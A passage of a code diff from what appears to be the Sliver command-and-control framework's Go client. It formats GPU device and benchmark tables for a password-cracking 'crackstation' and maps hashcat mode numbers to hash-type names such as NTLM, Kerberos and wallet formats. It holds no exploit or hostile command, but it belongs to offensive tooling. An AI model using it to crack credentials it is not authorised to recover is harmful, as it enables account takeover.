tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("CUDA Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", cuda.Name, cuda.Version))})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", cuda.Clock)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", cuda.Processors)})
|
||||
}
|
||||
}
|
||||
if 0 < len(cracker.Metal) {
|
||||
for _, metal := range cracker.Metal {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Metal Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", metal.Name, metal.Version))})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", metal.Clock)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", metal.Processors)})
|
||||
}
|
||||
}
|
||||
if 0 < len(cracker.OpenCL) {
|
||||
for _, openCL := range cracker.OpenCL {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("OpenCL Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", openCL.Name, openCL.Version))})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", openCL.Clock)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", openCL.Processors)})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
if showBenchmarks {
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
}
|
||||
}
|
||||
|
||||
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render("Benchmarks"))
|
||||
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
|
||||
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
|
||||
if len(cracker.Benchmarks) == 0 {
|
||||
tw.AppendRow(table.Row{"No benchmarks reported", "-"})
|
||||
} else {
|
||||
for hashType, speed := range cracker.Benchmarks {
|
||||
name, ok := hashcatHashTypeName(hashType)
|
||||
if !ok {
|
||||
name = clientpb.HashType(hashType).String()
|
||||
}
|
||||
tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,419 @@
|
||||
package crack
|
||||
|
||||
import "fmt"
|
||||
|
||||
// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
|
||||
var hashcatHashTypes = map[int32]string{
|
||||
0: "MD5",
|
||||
10: "md5($pass.$salt)",
|
||||
11: "Joomla < 2.5.18",
|
||||
12: "PostgreSQL",
|
||||
20: "md5($salt.$pass)",
|
||||
21: "osCommerce, xt:Commerce",
|
||||
22: "Juniper NetScreen/SSG (ScreenOS)",
|
||||
23: "Skype",
|
||||
24: "SolarWinds Serv-U",
|
||||
30: "md5(utf16le($pass).$salt)",
|
||||
40: "md5($salt.utf16le($pass))",
|
||||
50: "HMAC-MD5 (key = $pass)",
|
||||
60: "HMAC-MD5 (key = $salt)",
|
||||
70: "md5(utf16le($pass))",
|
||||
100: "SHA1",
|
||||
101: "nsldap, SHA-1(Base64), Netscape LDAP SHA",
|
||||
110: "sha1($pass.$salt)",
|
||||
111: "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
|
||||
112: "Oracle S: Type (Oracle 11+)",
|
||||
120: "sha1($salt.$pass)",
|
||||
121: "SMF (Simple Machines Forum) > v1.1",
|
||||
122: "macOS v10.4, macOS v10.5, macOS v10.6",
|
||||
123: "EPi",
|
||||
124: "Django (SHA-1)",
|
||||
125: "ArubaOS",
|
||||
130: "sha1(utf16le($pass).$salt)",
|
||||
131: "MSSQL (2000)",
|
||||
132: "MSSQL (2005)",
|
||||
133: "PeopleSoft",
|
||||
140: "sha1($salt.utf16le($pass))",
|
||||
141: "Episerver 6.x < .NET 4",
|
||||
150: "HMAC-SHA1 (key = $pass)",
|
||||
160: "HMAC-SHA1 (key = $salt)",
|
||||
170: "sha1(utf16le($pass))",
|
||||
190: "sha1(LinkedIn)",
|
||||
200: "MySQL323",
|
||||
300: "MySQL4.1/MySQL5",
|
||||
400: "phpass, phpBB3 (MD5)",
|
||||
500: "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
|
||||
501: "Juniper IVE",
|
||||
600: "BLAKE2b-512",
|
||||
900: "MD4",
|
||||
1000: "NTLM",
|
||||
1100: "Domain Cached Credentials (DCC), MS Cache",
|
||||
1300: "SHA2-224",
|
||||
1400: "SHA2-256",
|
||||
1410: "sha256($pass.$salt)",
|
||||
1411: "SSHA-256(Base64), LDAP {SSHA256}",
|
||||
1420: "sha256($salt.$pass)",
|
||||
1421: "hMailServer",
|
||||
1430: "sha256(utf16le($pass).$salt)",
|
||||
1431: "base64(sha256(unicode($pass)))",
|
||||
1440: "sha256($salt.utf16le($pass))",
|
||||
1441: "Episerver 6.x >= .NET 4",
|
||||
1450: "HMAC-SHA256 (key = $pass)",
|
||||
1460: "HMAC-SHA256 (key = $salt)",
|
||||
1470: "sha256(utf16le($pass))",
|
||||
1500: "descrypt, DES (Unix), Traditional DES",
|
||||
1600: "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
|
||||
1700: "SHA2-512",
|
||||
1710: "sha512($pass.$salt)",
|
||||
1711: "SSHA-512(Base64), LDAP {SSHA512}",
|
||||
1720: "sha512($salt.$pass)",
|
||||
1722: "macOS v10.7",
|
||||
1730: "sha512(utf16le($pass).$salt)",
|
||||
1731: "MSSQL (2012, 2014)",
|
||||
1740: "sha512($salt.utf16le($pass))",
|
||||
1750: "HMAC-SHA512 (key = $pass)",
|
||||
1760: "HMAC-SHA512 (key = $salt)",
|
||||
1770: "sha512(utf16le($pass))",
|
||||
1800: "sha512crypt $6$, SHA512 (Unix)",
|
||||
2000: "STDOUT",
|
||||
2100: "Domain Cached Credentials 2 (DCC2), MS Cache 2",
|
||||
2400: "Cisco-PIX MD5",
|
||||
2410: "Cisco-ASA MD5",
|
||||
2500: "WPA-EAPOL-PBKDF2",
|
||||
2501: "WPA-EAPOL-PMK",
|
||||
2600: "md5(md5($pass))",
|
||||
2611: "vBulletin < v3.8.5",
|
||||
2612: "PHPS",
|
||||
2711: "vBulletin >= v3.8.5",
|
||||
2811: "MyBB 1.2+, IPB2+ (Invision Power Board)",
|
||||
3000: "LM",
|
||||
3100: "Oracle H: Type (Oracle 7+)",
|
||||
3200: "bcrypt $2\\*$, Blowfish (Unix)",
|
||||
3300: "MD5(Sun)",
|
||||
3500: "md5(md5(md5($pass)))",
|
||||
3610: "md5(md5($salt).$pass )",
|
||||
3710: "md5($salt.md5($pass))",
|
||||
3711: "MediaWiki B type",
|
||||
3720: "md5($pass.md5($salt))",
|
||||
3721: "WebEdition CMS",
|
||||
3800: "md5($salt.$pass.$salt)",
|
||||
3910: "md5(md5($pass).md5($salt))",
|
||||
4010: "md5($salt.md5($salt.$pass))",
|
||||
4110: "md5($salt.md5($pass.$salt))",
|
||||
4210: "md5($username.0.$pass)",
|
||||
4300: "md5(strtoupper(md5($pass)))",
|
||||
4400: "md5(sha1($pass))",
|
||||
4500: "sha1(sha1($pass))",
|
||||
4510: "sha1(sha1($pass).$salt)",
|
||||
4520: "sha1($salt.sha1($pass))",
|
||||
4521: "Redmine",
|
||||
4522: "PunBB",
|
||||
4600: "sha1(sha1(sha1($pass)))",
|
||||
4700: "sha1(md5($pass))",
|
||||
4710: "sha1(md5($pass).$salt)",
|
||||
4711: "Huawei sha1(md5($pass).$salt)",
|
||||
4800: "iSCSI CHAP authentication, MD5(CHAP)",
|
||||
4900: "sha1($salt.$pass.$salt)",
|
||||
5000: "sha1(sha1($salt.$pass.$salt))",
|
||||
5100: "Half MD5",
|
||||
5200: "Password Safe v3",
|
||||
5300: "IKE-PSK MD5",
|
||||
5400: "IKE-PSK SHA1",
|
||||
5500: "NetNTLMv1 / NetNTLMv1+ESS",
|
||||
5600: "NetNTLMv2",
|
||||
5700: "Cisco-IOS type 4 (SHA256)",
|
||||
5800: "Samsung Android Password/PIN",
|
||||
6000: "RIPEMD-160",
|
||||
6100: "Whirlpool",
|
||||
6211: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||
6212: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||
6213: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||
6221: "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
|
||||
6222: "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
|
||||
6223: "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
|
||||
6231: "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
|
||||
6232: "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
|
||||
6233: "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
|
||||
6241: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
|
||||
6242: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
|
||||
6243: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
|
||||
6300: "AIX {smd5}",
|
||||
6400: "AIX {ssha256}",
|
||||
6500: "AIX {ssha512}",
|
||||
6600: "1Password, agilekeychain",
|
||||
6700: "AIX {ssha1}",
|
||||
6800: "LastPass + LastPass sniffed",
|
||||
6900: "GOST R 34.11-94",
|
||||
7000: "FortiGate (FortiOS)",
|
||||
7100: "macOS v10.8+ (PBKDF2-SHA512)",
|
||||
7200: "GRUB 2",
|
||||
7300: "IPMI2 RAKP HMAC-SHA1",
|
||||
7400: "sha256crypt $5$, SHA256 (Unix)",
|
||||
7401: "MySQL $A$ (sha256crypt)",
|
||||
7500: "Kerberos 5, etype 23, AS-REQ Pre-Auth",
|
||||
7700: "SAP CODVN B (BCODE)",
|
||||
7701: "SAP CODVN B (BCODE) from RFC_READ_TABLE",
|
||||
7800: "SAP CODVN F/G (PASSCODE)",
|
||||
7801: "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
|
||||
7900: "Drupal7",
|
||||
8000: "Sybase ASE",
|
||||
8100: "Citrix NetScaler (SHA1)",
|
||||
8200: "1Password, cloudkeychain",
|
||||
8300: "DNSSEC (NSEC3)",
|
||||
8400: "WBB3 (Woltlab Burning Board)",
|
||||
8500: "RACF",
|
||||
8600: "Lotus Notes/Domino 5",
|
||||
8700: "Lotus Notes/Domino 6",
|
||||
8800: "Android FDE <= 4.3",
|
||||
8900: "scrypt",
|
||||
9000: "Password Safe v2",
|
||||
9100: "Lotus Notes/Domino 8",
|
||||
9200: "Cisco-IOS $8$ (PBKDF2-SHA256)",
|
||||
9300: "Cisco-IOS $9$ (scrypt)",
|
||||
9400: "MS Office 2007",
|
||||
9500: "MS Office 2010",
|
||||
9600: "MS Office 2013",
|
||||
9700: "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
|
||||
9710: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
|
||||
9720: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
|
||||
9800: "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
|
||||
9810: "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
|
||||
9820: "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
|
||||
9900: "Radmin2",
|
||||
10000: "Django (PBKDF2-SHA256)",
|
||||
10100: "SipHash",
|
||||
10200: "CRAM-MD5",
|
||||
10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
|
||||
10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
|
||||
10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
|
||||
10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
|
||||
10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
|
||||
10600: "PDF 1.7 Level 3 (Acrobat 9)",
|
||||
10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
|
||||
10800: "SHA2-384",
|
||||
10810: "sha384($pass.$salt)",
|
||||
10820: "sha384($salt.$pass)",
|
||||
10830: "sha384(utf16le($pass).$salt)",
|
||||
10840: "sha384($salt.utf16le($pass))",
|
||||
10870: "sha384(utf16le($pass))",
|
||||
10900: "PBKDF2-HMAC-SHA256",
|
||||
10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
|
||||
11000: "PrestaShop",
|
||||
11100: "PostgreSQL CRAM (MD5)",
|
||||
11200: "MySQL CRAM (SHA1)",
|
||||
11300: "Bitcoin/Litecoin wallet.dat",
|
||||
11400: "SIP digest authentication (MD5)",
|
||||
11500: "CRC32",
|
||||
11600: "7-Zip",
|
||||
11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
|
||||
11750: "HMAC-Streebog-256 (key = $pass), big-endian",
|
||||
11760: "HMAC-Streebog-256 (key = $salt), big-endian",
|
||||
11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
|
||||
11850: "HMAC-Streebog-512 (key = $pass), big-endian",
|
||||
11860: "HMAC-Streebog-512 (key = $salt), big-endian",
|
||||
11900: "PBKDF2-HMAC-MD5",
|
||||
12000: "PBKDF2-HMAC-SHA1",
|
||||
12001: "Atlassian (PBKDF2-HMAC-SHA1)",
|
||||
12100: "PBKDF2-HMAC-SHA512",
|
||||
12200: "eCryptfs",
|
||||
12300: "Oracle T: Type (Oracle 12+)",
|
||||
12400: "BSDi Crypt, Extended DES",
|
||||
12500: "RAR3-hp",
|
||||
12600: "ColdFusion 10+",
|
||||
12700: "Blockchain, My Wallet",
|
||||
12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
|
||||
12900: "Android FDE (Samsung DEK)",
|
||||
13000: "RAR5",
|
||||
13100: "Kerberos 5, etype 23, TGS-REP",
|
||||
13200: "AxCrypt 1",
|
||||
13300: "AxCrypt 1 in-memory SHA1",
|
||||
13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
|
||||
13500: "PeopleSoft PS_TOKEN",
|
||||
13600: "WinZip",
|
||||
13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||
13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||
13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||
13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
|
||||
13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
|
||||
13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
|
||||
13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
|
||||
13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
|
||||
13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
|
||||
13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
|
||||
13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
|
||||
13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
|
||||
13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
|
||||
13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
|
||||
13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
|
||||
13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
|
||||
13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
|
||||
13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
|
||||
13771: "VeraCrypt Streebog-512 + XTS 512 bit",
|
||||
13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
|
||||
13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
|
||||
13800: "Windows Phone 8+ PIN/password",
|
||||
13900: "OpenCart",
|
||||
14000: "DES (PT = $salt, key = $pass)",
|
||||
14100: "3DES (PT = $salt, key = $pass)",
|
||||
14400: "sha1(CX)",
|
||||
14500: "Linux Kernel Crypto API (2.4)",
|
||||
14600: "LUKS",
|
||||
14700: "iTunes backup < 10.0",
|
||||
14800: "iTunes backup >= 10.0",
|
||||
14900: "Skip32 (PT = $salt, key = $pass)",
|
||||
15000: "FileZilla Server >= 0.9.55",
|
||||
15100: "Juniper/NetBSD sha1crypt",
|
||||
15200: "Blockchain, My Wallet, V2",
|
||||
15300: "DPAPI masterkey file v1 + local context",
|
||||
15400: "ChaCha20",
|
||||
15500: "JKS Java Key Store Private Keys (SHA1)",
|
||||
15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
|
||||
15700: "Ethereum Wallet, SCRYPT",
|
||||
15900: "DPAPI masterkey file v2 + Active Directory domain context",
|
||||
16000: "Tripcode",
|
||||
16100: "TACACS+",
|
||||
16200: "Apple Secure Notes",
|
||||
16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
|
||||
16400: "CRAM-MD5 Dovecot",
|
||||
16500: "JWT (JSON Web Token)",
|
||||
16600: "Electrum Wallet (Salt-Type 1-3)",
|
||||
16700: "FileVault 2",
|
||||
16800: "WPA-PMKID-PBKDF2",
|
||||
16801: "WPA-PMKID-PMK",
|
||||
16900: "Ansible Vault",
|
||||
17200: "PKZIP (Compressed)",
|
||||
17210: "PKZIP (Uncompressed)",
|
||||
17220: "PKZIP (Compressed Multi-File)",
|
||||
17225: "PKZIP (Mixed Multi-File)",
|
||||
17230: "PKZIP (Mixed Multi-File Checksum-Only)",
|
||||
17300: "SHA3-224",
|
||||
17400: "SHA3-256",
|
||||
17500: "SHA3-384",
|
||||
17600: "SHA3-512",
|
||||
17700: "Keccak-224",
|
||||
17800: "Keccak-256",
|
||||
17900: "Keccak-384",
|
||||
18000: "Keccak-512",
|
||||
18100: "TOTP (HMAC-SHA1)",
|
||||
18200: "Kerberos 5, etype 23, AS-REP",
|
||||
18300: "Apple File System (APFS)",
|
||||
18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
|
||||
18500: "sha1(md5(md5($pass)))",
|
||||
18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
|
||||
18700: "Java Object hashCode()",
|
||||
18800: "Blockchain, My Wallet, Second Password (SHA256)",
|
||||
18900: "Android Backup",
|
||||
19000: "QNX /etc/shadow (MD5)",
|
||||
19100: "QNX /etc/shadow (SHA256)",
|
||||
19200: "QNX /etc/shadow (SHA512)",
|
||||
19300: "sha1($salt1.$pass.$salt2)",
|
||||
19500: "Ruby on Rails Restful-Authentication",
|
||||
19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
|
||||
19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
|
||||
19800: "Kerberos 5, etype 17, Pre-Auth",
|
||||
19900: "Kerberos 5, etype 18, Pre-Auth",
|
||||
20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
|
||||
20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
|
||||
20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
|
||||
20200: "Python passlib pbkdf2-sha512",
|
||||
20300: "Python passlib pbkdf2-sha256",
|
||||
20400: "Python passlib pbkdf2-sha1",
|
||||
20500: "PKZIP Master Key",
|
||||
20510: "PKZIP Master Key (6 byte optimization)",
|
||||
20600: "Oracle Transportation Management (SHA256)",
|
||||
20710: "sha256(sha256($pass).$salt)",
|
||||
20711: "AuthMe sha256",
|
||||
20720: "sha256($salt.sha256($pass))",
|
||||
20800: "sha256(md5($pass))",
|
||||
20900: "md5(sha1($pass).md5($pass).sha1($pass))",
|
||||
21000: "BitShares v0.x - sha512(sha512_bin(pass))",
|
||||
21100: "sha1(md5($pass.$salt))",
|
||||
21200: "md5(sha1($salt).md5($pass))",
|
||||
21300: "md5($salt.sha1($salt.$pass))",
|
||||
21400: "sha256(sha256_bin($pass))",
|
||||
21500: "SolarWinds Orion",
|
||||
21501: "SolarWinds Orion v2",
|
||||
21600: "Web2py pbkdf2-sha512",
|
||||
21700: "Electrum Wallet (Salt-Type 4)",
|
||||
21800: "Electrum Wallet (Salt-Type 5)",
|
||||
22000: "WPA-PBKDF2-PMKID+EAPOL",
|
||||
22001: "WPA-PMK-PMKID+EAPOL",
|
||||
22100: "BitLocker",
|
||||
22200: "Citrix NetScaler (SHA512)",
|
||||
22300: "sha256($salt.$pass.$salt)",
|
||||
22301: "Telegram Mobile App Passcode (SHA256)",
|
||||
22400: "AES Crypt (SHA256)",
|
||||
22500: "MultiBit Classic .key (MD5)",
|
||||
22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
|
||||
22700: "MultiBit HD (scrypt)",
|
||||
22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
|
||||
22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
|
||||
22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
|
||||
22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
|
||||
22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
|
||||
23001: "SecureZIP AES-128",
|
||||
23002: "SecureZIP AES-192",
|
||||
23003: "SecureZIP AES-256",
|
||||
23100: "Apple Keychain",
|
||||
23200: "XMPP SCRAM PBKDF2-SHA1",
|
||||
23300: "Apple iWork",
|
||||
23400: "Bitwarden",
|
||||
23500: "AxCrypt 2 AES-128",
|
||||
23600: "AxCrypt 2 AES-256",
|
||||
23700: "RAR3-p (Uncompressed)",
|
||||
23800: "RAR3-p (Compressed)",
|
||||
23900: "BestCrypt v3 Volume Encryption",
|
||||
24100: "MongoDB ServerKey SCRAM-SHA-1",
|
||||
24200: "MongoDB ServerKey SCRAM-SHA-256",
|
||||
24300: "sha1($salt.sha1($pass.$salt))",
|
||||
24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
|
||||
24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
|
||||
24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
|
||||
24600: "SQLCipher",
|
||||
24700: "Stuffit5",
|
||||
24800: "Umbraco HMAC-SHA1",
|
||||
24900: "Dahua Authentication MD5",
|
||||
25300: "MS Office 2016 - SheetProtection",
|
||||
25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
|
||||
25500: "Stargazer Stellar Wallet XLM",
|
||||
25600: "bcrypt(md5($pass)) / bcryptmd5",
|
||||
25700: "MurmurHash",
|
||||
25800: "bcrypt(sha1($pass)) / bcryptsha1",
|
||||
25900: "KNX IP Secure - Device Authentication Code",
|
||||
26000: "Mozilla key3.db",
|
||||
26100: "Mozilla key4.db",
|
||||
26200: "OpenEdge Progress Encode",
|
||||
26300: "FortiGate256 (FortiOS256)",
|
||||
26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26500: "iPhone passcode (UID key + System Keybag)",
|
||||
26600: "MetaMask Wallet",
|
||||
99999: "Plaintext",
|
||||
}
|
||||
|
||||
func hashcatHashTypeName(mode int32) (string, bool) {
|
||||
name, ok := hashcatHashTypes[mode]
|
||||
return name, ok
|
||||
}
|
||||
|
||||
func humanizeHashRate(rate uint64) string {
|
||||
const unit = 1000
|
||||
if rate < unit {
|
||||
return fmt.Sprintf("%d H/s", rate)
|
||||
}
|
||||
value := float64(rate)
|
||||
exp := 0
|
||||
for value >= unit && exp < 5 {
|
||||
value /= unit
|
||||
exp++
|
||||
}
|
||||
